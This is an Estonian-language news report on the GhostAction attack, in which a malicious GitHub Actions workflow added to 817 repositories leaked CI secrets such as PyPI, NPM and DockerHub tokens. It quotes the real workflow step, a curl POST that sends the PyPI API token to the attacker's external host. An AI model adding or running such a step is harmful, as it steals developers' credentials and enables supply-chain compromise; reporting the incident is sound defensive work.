GhostAction rünnaku käigus on kompromiteeritud 817 repositooriumi GitHubis

GitGuardiani teadlased on avastanud ulatusliku rünnaku GitHubi kasutajate vastu, mille käigus sai kontrolli alla 327 kontot ning pahatahtlik Github Action töötleja lisati 817 hoidlasse. Rünnak tõi kaasa 3325 saladuse lekkimise, mis olid kasutusel pideva integreerimise süsteemides ja edastatud keskkonna muutujate kaudu, sealhulgas PyPI, GitHub, NPM, DockerHub ja erinevate pilvelahenduste juurdepääsutokenid.

GitHub Actions võimaldab arendajatel kinnitada töötlejat erinevate operatsioonide automatiseerimiseks GitHubis. Näiteks saab GitHub Actions abil teostada teatud kontrolle ja testide läbiviimisi commitide tegemisel või automatiseerida uute Issues'i töötlemist. Pahatahtlik töötleja levitati nime all „Github Actions Security“ ja sisaldas „run“ sektsioonis käsku „curl“, mis edastas keskkonna muutujate sisu välisele hostile pideva integreerimise keskkonnas ülesannete käivitamisel. Pahatahtlik commit lisati projektide haldurite kontode kaudu, mis tõenäoliselt olid varem häkitud või said kalastamise ohvriks.

Rünnak avati pärast anomaalse tegevuse uurimist, mis oli seotud FastUUID paketiga, mis pakub Python'i sidet Rust'i UUID teegi üle. FastUUID paketti, millele on viimase nädala jooksul tehtud peaaegu 1,2 miljonit allalaadimist, kasutatakse sõltuvusena populaarsetes projektides nagu LiteLLM, millel on PyPI-s üle 5 miljoni nädalased allalaadimist. Analüüs FastUUID hoidla muudatustest näitas, et 2. septembril lisas projekti haldur commit'i uue Github Action töötlejaga, mis sisaldas koodi, mis edastas tokeni PyPI hoidlasse välisele hostile. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https://bold-dhawan.45-139-104-115.plesk.page

Probleem õnnestus tuvastada enne, kui kurjategijad kasutasid ülevõetud tokenit — PyPI-s ei ole registreeritud kahjulike muudatuste või muudetud versioonide avaldamist FastUUID jaoks. Sarnased asendused Github Action tuvastati veel 816 hoidlas, mille omanikele ning PyPI, GitHub, NPM ja DockerHubi administratsioonile saadeti teated. Eilse õhtu seisuga olid kahjulikud commid umbes 100 hoidlas tagasi võetud. Praegu tuvastatakse GitHubis 671 kahjuliku Github Action commiti.

Allikas: opennet.ru